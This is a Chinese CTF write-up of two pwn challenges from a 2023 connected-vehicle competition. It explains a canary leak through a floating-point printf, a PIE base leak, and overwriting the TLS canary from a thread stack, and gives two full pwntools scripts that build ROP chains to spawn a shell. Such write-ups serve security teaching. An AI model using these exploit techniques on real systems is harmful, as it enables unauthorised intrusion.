2023天融信杯车联网比赛初赛

文章发布时间:

最后更新时间:

文章总字数:
1.9k

预计阅读时间:
9 分钟

这次的比赛总共有三题pwn 两题出的比较新 一题就是考烂的伪随机数 这里就不收纳进入wp了

TimeMachine

image-20230703204157138

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
int __cdecl main(int argc, const char **argv, const char **envp)
{
void *v3; // rsp
_QWORD *v4; // rbx
__int64 v6; // [rsp+8h] [rbp-38h] BYREF
unsigned __int8 i; // [rsp+16h] [rbp-2Ah]
unsigned __int8 v8; // [rsp+17h] [rbp-29h]
double v9; // [rsp+18h] [rbp-28h]
unsigned __int64 v10; // [rsp+20h] [rbp-20h]
unsigned __int64 v11; // [rsp+28h] [rbp-18h]

v11 = __readfsqword(0x28u);
v9 = 31137.31337;
ask_name(argc, argv, envp);
v8 = ask_number();
v3 = alloca(16 * ((8 * v8 + 30) / 0x10));
v10 = 16 * ((&v6 + 7) >> 4);
for ( i = 0; i < v8; ++i )
*(8LL * i + v10) = 0x40DE68540E410B63LL;
for ( i = 0; ; ++i )
{
printf("-=-=-=-= CHALLENGE %03d =-=-=-=-\n", i + 1);
v4 = (8LL * i + v10);
play_game();
*v4 = 0x40DE68540E410B63LL;
if ( i >= v8 - 1 || !ask_again() )
break;
}
for ( i = 0; i < v8; ++i )
{
if ( v9 > *(8LL * i + v10) )
v9 = *(8LL * i + v10);
}
puts("-=-=-=-= RESULT =-=-=-=-");
printf("Name: %s\n", name);
HIBYTE(v6) = HIBYTE(v9);
printf("Best Score: %lf\n", v9);
return 0;
}

主要的逻辑就是利用gettimeofday来实现一个控制时间的小游戏 输入想要间隔的时间 然后两次输入任意字符来开启和终止计时 不过程序本身并没有漏洞 漏洞主要出现在完成一次游戏后 是否还要继续的函数

1
2
3
4
5
6
7
8
9
10
11
_BOOL8 ask_again()
{
char v1[24]; // [rsp+0h] [rbp-20h] BYREF
unsigned __int64 v2; // [rsp+18h] [rbp-8h]

v2 = __readfsqword(0x28u);
printf("Play again? (Y/n) ");
__isoc99_scanf("%s", v1);
readuntil(10LL);
return v1[0] != 110 && v1[0] != 78;
}

这里存在了一个栈溢出漏洞 但是由于程序本身开启了canary 所以我们需要想办法获取canary的值 这里当然是特别关注一下程序的几个输出函数 看看有没有机会泄露

image-20230703210052881

发现了这个printf函数的调用存在可疑点 其将rbp-0x48处的内容赋值给了rbp-0x58 我们通过gdb动调来查看一下

image-20230703210238001

可以看到相当于就是把canary赋值给了rsp指针指向的下一个字长处 这样的用意何在呢 可以看到随后就被赋值给了xmm0浮点数寄存器 这是printf函数利用%lf格式化字符输出数据的固定调用格式 会把调用时rsp的下一个字长内容输出

只要我们在ask_time函数中输入的v4不符合指定格式 那么v4就不会被赋值 从而我们可以泄露出canary 在后续的栈溢出中构造rop链

同时还有一点要注意的 由于是scanf引起的栈溢出 所以\x20 也就是空格 是无法被读入的 而本题的got表都位于0x602000处 所以我们需要泄露libc_start_main的基址

img

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from pwn import*
from ctypes import *
io = process("./pwn")
#io = remote("123.127.164.29",27917)
elf = ELF("./pwn")
context.log_level = "debug"
context.binary = elf
context.terminal = ['tmux','splitw','-h']
#libc = ELF("./glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so")
libc = ELF("./libc-2.31.so")
#libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')

def debug():
gdb.attach(io)
pause()

io.recvuntil("> ")
io.sendline(b'x')
io.recvuntil("> ")
io.sendline(b'16')
io.recvuntil("Time[sec]: ")
# gdb.attach(io,'b *0x40099F')
# pause(0)
io.sendline(b'c')
# pause()
io.recvuntil("Stop the timer as close to ")
t = io.recvuntil(" ",drop = True)
canary = struct.pack("<d", float(t))
io.recvuntil("Press ENTER to start / stop the timer.")
io.send('\n')
io.recvuntil("Timer started.")
io.send('\n')
io.recvuntil("Play again? (Y/n) ")
puts_plt = elf.sym['puts']
libc_start_main_got = 0x601ff0
rdi_addr = 0x0000000000400e93
ret_addr = 0x00000000004006a6
back_addr = 0x40089B
rop = ROP(elf)
rop.puts(elf.got.__libc_start_main)
rop.ask_again()
payload = cyclic(0x18)+canary+cyclic(0x8)+p64(rdi_addr)+p64(libc_start_main_got)+p64(puts_plt)+p64(back_addr)
# gdb.attach(io,'b *0x400916')
# pause(0)
io.sendline(payload)
# pause()
libc_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-0x23fc0
success("libc_addr :"+hex(libc_addr))
io.recvuntil("Play again? (Y/n) ")
system_addr = libc_addr + libc.sym['system']
binsh_addr = libc_addr + next(libc.search(b'/bin/sh'))
success("system_addr :"+hex(system_addr))
payload = cyclic(0x18)+canary+cyclic(0x8)+p64(ret_addr)+p64(rdi_addr)+p64(binsh_addr)+p64(system_addr)
# gdb.attach(io,'b *0x4008DB')
# pause(0)
io.sendline(payload)
# pause()
io.interactive()

guess

这题的漏洞点和上题类似 不过考到了pthread_join线程函数带来的漏洞

image-20230703215820845

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
unsigned __int64 v3; // rax
void *v4; // rsp
int i; // [rsp+8h] [rbp-20h] BYREF
int v7; // [rsp+Ch] [rbp-1Ch]
pthread_t newthread[3]; // [rsp+10h] [rbp-18h] BYREF

newthread[2] = __readfsqword(0x28u);
sub_13E8();
v7 = sub_1594();
v3 = 16 * ((8LL * v7 + 23) / 0x10uLL);
while ( &i != (&i - (v3 & 0xFFFFFFFFFFFFF000LL)) )
;
v4 = alloca(v3 & 0xFFF);
if ( (v3 & 0xFFF) != 0 )
*(&i + (v3 & 0xFFF) - 8) = *(&i + (v3 & 0xFFF) - 8);
newthread[1] = 16 * ((newthread + 7) >> 4);
sub_1552(a1);
for ( i = 0; i < dword_4030; ++i )
sub_1485();
fflush(stdout);
puts("I don't think you won the game if you made it until here ...");
puts("But maybe a threaded win can help?");
pthread_create(newthread, 0LL, start_routine, 0LL);
pthread_join(newthread[0], 0LL);
return 0LL;
}

主要的逻辑都差不多 关键在于sub_1485这个函数

1
2
3
4
5
if ( dword_4030 - 1 == dword_402C )
{
puts("Sorry, that was the last guess!");
printf("You entered %lu but the right number was %lu\n", v1, v2);
}

如果这是我们最后一次猜数字并且还猜错了 那么就会告诉我们正确的数字 注意了是用%lu输出的 来看一下汇编 会将rbp-0x18处的数据赋值给rsi寄存器 我们通过gdb动调来观察一下 如果我们不按要求输出数据 使得我们输入的数据为空 此时的rsi寄存器会被赋值成什么

image-20230703220038033

image-20230703220402973

可以泄露elf的地址 由于开启了PIE 我们在不泄露libc地址的情况下很难构造rop链 这下子就可以构造了

接着我们来说说pthread_create这个线程函数 其无非就是创建了一个新的线程 并且指定了新的线程从start_routine函数开始

随后利用pthread_join函数 指定了在原本的线程结束后 开始执行新的线程

在这里你可以注意到 两个函数的第一个参数newthread 是用来规定新线程的内存单元 也就是说新线程的内存空间是旧线程的栈

而栈地址我们知道是由高地址到低地址的 TLS结构体的初始化 就会在高地址处 而start_routine函数提供了栈溢出的机会 那么我们就有机会溢出到tls结构体 由此里绕过canary 再加上我们前面泄露了elf的基址 接下来就是ret2libc的问题了

旧线程的栈地址:

image-20230703221821725

新线程的栈地址 以及tls结构体存放的位置

image-20230703221924790

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import*
from ctypes import *
io = process("./pwn")
#io = remote("123.127.164.29",27917)
elf = ELF("./pwn")
context.log_level = "debug"
context.terminal = ['tmux','splitw','-h']
context.arch = "amd64"
libc = ELF("./glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so")
#libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')

def debug():
gdb.attach(io)
pause()


io.recvuntil("Enter the size : ")
io.sendline(b'1')
io.recvuntil("Enter the number of tries : ")
io.sendline(b'1')
io.recvuntil("Enter your guess : ")
# gdb.attach(io,'b *$rebase(0x1507)')
# pause(0)
# gdb.attach(io,'b *$rebase(0x16E0)')
# pause(0)
io.sendline(b'c')
# pause()
io.recvuntil("You entered ")
elf_addr = int(io.recvuntil(" ",drop = True),10)-0x1579
success("elf_addr :"+hex(elf_addr))
io.recvuntil("But maybe a threaded win can help?")
puts_got = elf_addr + elf.got['puts']
puts_plt = elf_addr + elf.sym['puts']
rdi_addr = elf_addr+0x0000000000001793
back_addr = elf_addr + 0x1436
ret_addr = elf_addr + 0x000000000000101a
payload = cyclic(0x18)+p64(0x100)+cyclic(0x8)+p64(rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(back_addr)
payload = payload.ljust(0x858,b'\x00')+p64(0x100)
io.sendline(payload)
# pause()

libc_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-libc.sym['puts']
success("libc_addr :"+hex(libc_addr))
system_addr = libc_addr + libc.sym['system']
binsh_addr = libc_addr + next(libc.search(b"/bin/sh"))
read_addr = libc_addr + libc.sym['read']
rax_addr = libc_addr + next(libc.search(asm("pop rax;ret")))
rsi_addr = libc_addr + next(libc.search(asm("pop rsi;ret")))
syscall_addr = read_addr + 0x10
io.recvuntil("> ")
payload = cyclic(0x18)+p64(0x100)+cyclic(0x8)+p64(rax_addr)+p64(59)+p64(rdi_addr)+p64(binsh_addr)+p64(rsi_addr)+p64(0)+p64(syscall_addr)
# gdb.attach(io,'b *$rebase(0x1484)')
# pause(0)
io.sendline(payload)
# pause()
io.interactive()